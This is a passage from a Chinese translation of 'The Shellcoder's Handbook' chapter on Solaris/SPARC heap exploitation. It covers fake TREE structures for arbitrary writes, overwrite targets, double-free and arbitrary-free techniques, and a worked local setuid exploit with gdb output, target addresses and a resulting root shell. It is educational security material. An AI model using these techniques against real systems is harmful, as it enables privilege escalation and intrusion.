AA AA AA AA AA AA AA AA

表10.9. 互写操作需要的TREE结构

上面的TREE构造将导致tp的值被写到sp+8字节处,sp的值被写到tp+32字节处。例如,sp可能指向函数指针位置-7字节处,tp可能指向包含NOP sled和Shellcode的地方。当t_delete内的代码被执行时,将用指向Shellcode的tp的值改写函数指针。然而,Shellcode里32字节处的值将被sp的值改写。

FF FF FF FF树结构里面16字节处的值是-1,需要指出的是,这个结构不是树的一部分。FF FF FF F8偏移零处的值是块的大小。为了避免NULL字节,把这个值设为负数就比较方便了;然而,倘若最低两位没有被设置,它可以是实际的块大小。如果第一位被设置,指出这个块正在使用中,不适合合并。为了避免和前一个块合并,第二位也应该被清除。AA表示的字节可以用任意值填充。

10.7.1 标准堆溢出的限制

我们在前面提到了non-tree删除堆溢出机制的第一个限制。Shellcode里可预知偏移处的4-byte值在free操作过程中被破坏了。可行的解决办法是使用由往前跳固定距离的分支操作组成的NOP填充物。这能被用来越过因互写而产生的恶化,像正常情况那样继续执行Shellcode。

如果有可能,至少应该在Shellcode前面包含256个字节的填充物,在堆溢出里可以用下面的分支指令作填充物。它将向前跳转0x404字节,跳过互写所做的修改。这么大的跳转距离主要是为了避开NULL字节,但是如果你的Shellcode中可以包含NULL字节,那么应该尽一切办法减少跳转距离。

#define BRANCE_AHEAD “x10x80x01x01”

欢迎访问,翻译@。

229

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

注意,如果你选择改写在栈上的返回地址,TREE结构的sp成员必须指向这个位置减8字节处。你不能把tp成员指向返回位置减32字节处,因为这将导致新返回地址加8字节处的值被不是有效代码的指针改写。记住,ret是由jmpl %i7 + 8, %g0合成的指令。寄存器%i7保存最初的调用地址,因此执行将转到地址加8字节处(4个为了call,另4个为了延迟槽)。如果返回地址往里偏移8字节处的地址被改写,这将是第一条被执行的指令,肯定会引起崩溃。如果你改成改写Shellcode往里32字节处和越过第一条指令24字节处的值,那么你将有机会越过被破坏的地址。

在大多数情况下,互写操作情形引入的其它限制不是很关键,但值得注意。被改写的目标地址和用来改写的值必须都是可写的有效地址。它们是双向写操作,二个地址中只要有一个是non-writable内存区域,将会导致段故障。因为正常的代码是不可写的,这就排除了返回libc类型的攻击,因为这类攻击要利用在过(进)程地址空间内发现的先前存在的代码。

破解Solaris堆实现的另外限制是,必须在被破坏的块被释放之后再调用malloc或realloc。因为free()只把块放入空闲列表中,而不对它做任何实质性的处理,对被破坏的块来说,促成realfree()被调用是必须的。这在malloc或realloc(通过cleanfree)之内几乎可以立即完成。如果这是不可能的,通过连续多次调用free()能真正释放被破坏的块。空闲列表最多保存32个条目,当它满了以后,每个后来的free()操作将通过realfree()把一个条目(entry)从空闲列表刷去。在大多数应用程序里,malloc和realloc调用是相当普通的,通常没有太大的限制;然而,在某些情况下,堆恶化的地方不是完全可控,因此,在调用malloc或realloc发生前很难预防程序崩溃。

为了使用上面描述的方法,某些字符是必需的,特别要包括字符0xFF,为了使ISNOTREE()为真它是必须的。如果加在输入之上的字符限制阻止这些字符作为溢出的一部分被使用,那么通过进一步利用t_delete()以及t_splay()内的代码执行任意改写总是有可能的。这些代码将处理TREE结构就好象它真是空闲树的一部分,而使改写更加复杂。更多的限制将加在写入值和被写的地址上。

10.7.2 改写的目标

改写内存中任意位置4字节的能力对执行代码来说足够了;然而,攻击者为了完成这个目标,必须精确的知道要改写什么。

改写栈上保存的程序计数器总是可行的,特别是如果攻击者能够重复进行攻击。命令行参数或者环境变量里的小变化可能导致栈地址稍微有些变化,导致它们变化的原因因系统而异。然而,如果攻击者可以重复多次攻击,或者很了解目标系统,成功执行栈溢出是有可能的。

不象其它的平台,Solaris/SPARC的Procedure Linkage Table(PLT)代码不会解除引用Global Offset Table(GOT)里的值。结果,对改写来说,那里没有很多合适的函数指针。一旦外部引用的后期连接(lazy binding)在要求时被解析,且外部引用被解析过,PLT被初始化加载外部引用地址到%g1,然后JMP到那个地址。尽管有些攻击允许用SPARC指令改

11 后期连接(lazy binding)方式一般会大大提高应用程序的性能,因为不必为解析无用的符号浪费动态连接器的开销。不过,有两种情况例外。第一,对一个共享目标函数进行初始化处理花费的时间比调用正式的执行时间长,因为动态连接器会拦截调用以解析符号,而这个函数功能又比较简单;第二,如果发生错误和动态连接器无法解析符号,动态连接器就会终止程序。使用后期连接方式,这种错误可能会在程序执行过程中,随时发生。而有些应用程序对这种不确定性有比较严格的限制。因此,需要关闭后期连接方式,在应用程序接受控制权之前,让动态连接器处理进程初始化期间发生的这些错误。

欢迎访问,翻译@。

230

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

写PLT,但通常对堆溢出没什么益处。因为TREE结构的tp和sp成员必须是可写的有效地址,生成一条指向你的Shellcode且可写的有效地址的单指令的可能性微乎其微。

然而,Solaris的库函数中有许多有用的函数指针。在GDB里只从溢出的角度跟踪分析有可能对改写有用的地址。为使破解可在多版本和Solaris的安装上移植,创建一个大的库函数版本列表是很有必要的。例如,lib函数经常调用函数metex_lock执行non-thread-safe代码。除了许多别的以外,它被malloc和free立即调用。这个函数访问libc的.data区段内称为i_jmp_table的地址表,调用表里4字节处的函数指针。

另一个可能有用的例子是当进程调用exit()时函数指针被调用。在函数调用_exithandle里,从称为static_mem的lib的.data区段内的内存区域重新找回函数指针。这个函数指针通常指向fini()例程访问exit来清除,但是它能被改写,以促成在exit上执行任意代码,例如这样相对通用的、遍及libc和其它Solaris库函数的代码,对执行任意代码提供了很好的机会。

底部块

底部块是位于堆结尾和未分页内存前的最后块。大多数堆实现会把这个块作为特殊情况处理,Solaris也不例外。底部块如果出现的话,几乎总是空闲的,因此,即使它的头部被破坏也不会真的被释放。如果你非常不幸,只能破坏底部块的话,那么必须有可选的余地。

可以在_malloc_unlocked里发现如下代码行:

/* if found none fitted in the tree */

if (!sp) {

if (Bottom && size <= SIZE(Bottom)) {

sp = Bottom;

.....

/* if the leftover is enough for a new free piece */

if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) {

n -= WORDSIZE;

SIZE(sp) = size;

tp = NEXT(sp);

SIZE(tp) = n|BIT0;

realfree(DATA(tp));

在这个例子里,如果用负数改写底部块的大小,可以促成realfree()调用位于底部块里偏移处的用户控制的数据。

在上面的例子代码里,sp用被破坏的大小指向底部块。为了新分配内存,将占用底部块的一部分,新块tp将有它的大小(设为n)。在这个例子里,变量n是被破坏的负数大小,减去WORDSIZE和新分配的大小。然后在新构造的块上调用realfree(),tp将是负数大小。在这里,前面提到的使用t_delete()的方法将工作得很好。

欢迎访问,翻译@。

231

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

小块恶化

实际的malloc块的最小尺寸是48个字节,是保存TREE结构所必需的(这包括了大小头部)。Solaris堆实现不是把所有小的malloc请求凑成大的,而是用另外的方法处理小块。任何小于40字节的malloc()请求产生的处理与大的请求不一样。这通过malloc.c内的_smalloc函数实现。这段代码处理“上舍入”后为8,16,24,或32字节的请求。

_smalloc函数分配相同大小的内存块(block)来满足小malloc请求。这些块被安排在一个链表里,当分配请求合适的大小时,返回链表的头部。当一个小块被释放时,它不经过正常处理,只是把它放回在它头部的正确的链表里。libc维护一个包含链表头的静态缓冲区。因为这些内存块没有经过正常的处理,所以为了处理发生在它们里面的溢出,需要有一些选择对象。

小malloc块的结构如表10.10.所示。

WORD size (8 bytes) WORD next (8 bytes) User data (8, 16, 24 or 32 bytes

large)

表10.10. 小malloc块的结构

因为小块与大块之间的区别只是大小(长度)字段,所以有可能用大数或负数改写小malloc块的大小(长度)字段。这将在它被释放时使它经历正常的块处理过程,从而供标准的堆破解方法使用。

小malloc块的链表属性也可被用于其它有趣的破解方法。在某些情况下,是不可能用攻击者控制的数据破坏附近的块头部。个人经验显示,这种情形并不是很罕见,特别是当改写块头部的数据是任意字符串或一些不可控的数据时通常会出现这种情形。可能的话,最好用攻击者定义的数据改写堆的其它部分,然而,经常有可能写入小malloc块链表里。通过改写在这个链表里的next指针,有可能使malloc()返回一个指向内存任意地方的指针。无论什么程序数据写到malloc()返回的指针,都将破坏你指定的地址。这能通过堆溢出实现多于4个字节的改写,从而破解另一些棘手的溢出问题。

10.8 其它与堆相关的漏洞

还有其它利用堆数据结构的漏洞。让我们看一些最常见的,并学习怎样破解它们来获取执行控制。

10.8.1 Off-by-one 溢出

类似于栈off-by-one溢出的情形,Solaris/SPARC上的堆off-by-one溢出也非常难破解,主要是因为字节序的问题。off-by-one在堆上写一个越界的NULL字节绝对不会影响到堆的完整性。因为块大小最有意义的字节实际上是零,写一个越界的NULL字节不会对它产生影响。有时候,有可能越界写一个任意的单字节。这将破坏块大小最有意义的字节。假若这样的话,破解的可能性很小,这要看快要破坏时堆的大小,和是否能在有效的地址发现下一欢迎访问,翻译@。

232

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

块。一般而言,此类破解非常困难,几乎不可能。

10.8.2 Double Free 漏洞

在某些情况下,Solaris的Double free漏洞是可以被破解的;然而,因为_free_unlocked()里面做了一些检查,减少了破解机会。其中有些检查明显是针对Double free的,但所幸的是(对攻击者而言)这些检查并不是完全有效。

第一个检查的内容是被释放的块是不是最后一个被释放的块――Lfree。随后,检查块的块头部是否被释放,确定它还没有被释放(大小字段的最低位必须被设置)。第三个和最后的检查是针对Double free的,将确定被释放的块不在空闲列表内。如果三个检查都通过了,将把这个块放进空闲列表,最终传给realfree()。

为了破解Double free漏洞,必须在第一和第二次free之间的某个时候刷新空闲列表。这可以作为malloc或realloc调用的结果而发生,或者如果连续发生32次free,导致列表的一部分被刷新。第一个free必须引起这个块和前一块反向合并,以便原始的指针驻留在有效堆块的中间。这个有效的堆块必须被malloc再分配,然后被攻击者控制的数据填充。这将通过重设块大小的低位,使free()内的第二个检查被绕过。当Double free发生时,它将指向用户控制的数据,从而导致任意内存改写。虽然这种情形对你我来说似乎不太可能,但在Solaris 的堆实现上破解Double free漏洞是有可能的。

10.8.3 Arbitrary Free漏洞

Arbitrary Free漏洞指的是允许攻击者直接指定传给free()的地址的编码错误。这看起来有点象新手所犯的可笑的编码错误,当释放未初始化的指针时,或者像“union

mismanagement”漏洞那样――当一种类型被误认为是另一种时,这个漏洞将出现。

根据怎样构造目标缓冲区,Arbitrary Free漏洞和标准堆溢出非常类似。目标是通过t_delete用假的next块完成向前合并攻击 ,就象前面详细描述的那样。然而,为了Arbitrary

Free攻击,有必要精确指出你的块在内存中的位置。如果你正设法释放的伪造块位于进程堆的某些随机位置,这可能会很困难。

好消息是Solaris堆实现对传递给free()的值执行非指针校验。这些指针可能位于堆、栈、静态数据、或其它内存区域,它们很乐意通过堆实现释放。如果你可以在静态数据或栈上找到一个可靠的位置,并把它作为地址传递给free(),那么,应该想尽一切办法来实现。堆实现将通过发生在块上的正常处理使它被释放,而这将改写你指定的任意地址。

10.9 堆溢出的例子

再说一次,用真实的例子讲解,会使理论知识更易于理解。为了加强和示范迄今为止讨论过的破解技术,我们来看一个容易的、适合堆溢出的破解。

欢迎访问,翻译@。

233

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

10.9.1 脆弱的程序

再次强调,这个漏洞非常明显,在现代软件中一般不会出现。我们再次以一个脆弱的setuid可执行文件为例,它由于复制程序的第一个参数从而产生基于字符串的溢出。脆弱的函数是:

int vulnerable_function(char *userinput) {

char *buf = malloc(64);

char *buf2 = malloc(64);

strcpy(buf,userinput);

free(buf2);

buf2 = malloc(64);

return 1;

}

缓冲区buf用于没有限制的字符串拷贝目的地,溢出到以前分配的缓冲区buf2。然后堆缓冲区buf2被释放,另外对malloc的调用将刷新空闲列表。我们有两个函数返回,因此我们可以选择改写保存在栈上的程序计数器,我们应该选择它。我们还有另外一个选择,改写前面提到的、作为exit()库函数调用一部分的函数指针调用。

首先,让我们触发这个溢出。这个堆缓冲区是64字节,因此,向它提交65字节的字符串数据,就可以引起程序崩溃。

# gdb ./heap_overflow

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you

Are welcome to change it and/or distribute copies of it under certain

conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols

found)...

(gdb) r `perl -e "print 'A' x 64"`

Starting program: /test/./heap_overflow `perl -e "print 'A' x 64"`

(no debugging symbols found)...(no debugging symbols found)...(no

debugging symbols found)...

Program exited normally.

(gdb) r `perl -e "print 'A' x 65"`

Starting program: /test/./heap_overflow `perl -e "print 'A' x 65"`

(no debugging symbols found)...(no debugging symbols found)...(no

debugging symbols found)...

Program received signal SIGSEGV, Segmentation fault.

欢迎访问,翻译@。

234

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

0xff2c2344 in realfree () from /usr/lib/.1

(gdb) x/i $pc

0xff2c2344 : ld [ %l5 + 8 ], %o1

(gdb) print/x $l5

$1 = 0x41020ac0

在65字节开端(threshold),块大小最有意义的字节被A(或表示为0x41)破坏,导致realfree()里发生崩溃。在这一点,我们可以动手构造一个用负数改写块大小的破解,在块大小之后创建一个伪造的TREE结构。这个破解包含下面与具体平台相关的信息:

struct {

char *name;

int buffer_length;

unsigned long overwrite_location;

unsigned long overwrite_value;

int align;

} targets[] = {

{

"Solaris 9 Ultra-Sparc",

64,

0xffbf1233,

0xffbffcc4,

0

}

};

在这个例子里,overwrite_location是要改写的内存地址,overwrite_value是用来改写它的值。这个特殊的破解当场构造TREE结构,overwrite_location类似于结构中的sp成员,而overwrite_value对应tp成员。再说一次,因为这是破解本地的可执行文件,破解代码将把Shellcode保存在环境变量里。开始后,破解将用不以4字节对齐的地址初始化overwrite_location。当写向那个地址时将会立即引起BUS故障,为了完成这个破解,允许我们在正确的程序检查内存、定位我们所需要的信息的地方中断。第一次运行破解时输出下列内容:

Program received signal SIGBUS, Bus error.

0xff2c272c in t_delete () from /usr/lib/.1

(gdb) x/i $pc

0xff2c272c : st %o0, [ %o1 + 8 ]

(gdb) print/x $o1

$1 = 0xffbf122b

欢迎访问,翻译@。

235

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

(gdb) print/x $o0

$2 = 0xffbffcc4

(gdb)

当试图写到没有正确对齐的内存地址时,生成的SIGBUS信号将导致程序终止。正如你看到的,写到(0xffbf122b+8)的实际地址对应overwrite_location的值,这个被改写的值也是我们前面指定的。现在,定位我们的Shellcode、改写适当目标的问题变得简单了。

在栈顶附近可以再次发现我们的Shellcode,这次与对齐位置错开了3个字节。

(gdb)

0xffbffa48: 0x01108001 0x01108001 0x01108001 0x01108001

0xffbffa58: 0x01108001 0x01108001 0x01108001 0x01108001

0xffbffa68: 0x01108001 0x01108001 0x01108001 0x01108001

为了获取程序控制,我们将设法改写栈上保存的程序计数器值。因为环境变量大小的改变,程序的栈可能会稍微有些改变,我们将把目标结构里的对齐值调整3个字节,并再次运行破解。一旦完成这些操作,定位接近崩溃的精确返回地址将相对容易一些。

(gdb) bt

#0 0xff2c272c in t_delete () from /usr/lib/.1

#1 0xff2c2370 in realfree () from /usr/lib/.1

#2 0xff2c1eb4 in _malloc_unlocked () from /usr/lib/.1

#3 0xff2c1c2c in malloc () from /usr/lib/.1

#4 0x107bc in main ()

#5 0x10758 in frame_dummy ()

backtrace将输出适当的栈帧列表供我们选择。这样一来,我们就能得到改写这些帧之中的保存的程序计数器所需要的信息。对这个例子,让我们试用帧数4。调用树越往上,函数寄存器的窗口越有可能被刷新入栈;不过,第5帧的函数却从来不返回。

(gdb) i frame 4

Stack frame at 0xffbff838:

pc = 0x107bc in main; saved pc 0x10758

(FRAMELESS), called by frame at 0xffbff8b0, caller of frame at 0xffbff7c0

Arglist at 0xffbff838, args:

Locals at 0xffbff838,

(gdb) x/16x 0xffbff838

0xffbff838: 0x0000000c 0xff33c598 0x00000000 0x00000001

0xffbff848: 0x00000000 0x00000000 0x00000000 0xff3f66c4

0xffbff858: 0x00000002 0xffbff914 0xffbff920 0x00020a34

0xffbff868: 0x00000000 0x00000000 0xffbff8b0 0x0001059c

(gdb)

栈帧开头的16个字是保存的寄存器窗口,位于最后的是保存的指令指针。在这个例子欢迎访问,翻译@。

236

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

里,这个值是0x1059c,位于0xffbff874处。现在,我们收集了完成破解所需要的信息。最终的目标结构看起来象下面这样:

struct {

char *name;

int buffer_length;

unsigned long overwrite_location;

unsigned long overwrite_value;

int align;

} targets[] = {

{

"Solaris 9 Ultra-Sparc",

64,

0xffbff874,

0xffbffa48,

3

}

};

现在,试一下这个破解,验证它是否象我们预期的那样工作,执行下列操作:

$ ls -al heap_overflow

-rwsr-xr-x 1 root other 7028 Aug 22 00:33 heap_overflow

$ ./heap_exploit 0

# id

uid=0(root) gid=60001(nobody)

#

这个破解就象我们预期的那样工作良好,我们可以执行任意代码。虽然堆破解比栈溢出的例子稍微复杂一些,但它再次为破解提供了最佳案例;前面提到的复杂性很可能出现在更为复杂的破解情形里。

10.10 破解Solaris的其它方法

我们应该讨论另外一些涉及Solaris系统的重要技术。其中之一就是非常有可能碰到的不可执行栈。不论是在Solaris,还是在其它操作系统上,我们都能战胜这些保护措施,擦亮眼睛,看看我们是怎么做的吧。

欢迎访问,翻译@。

237


本文标签: 寄存器 破解 改写 执行 字节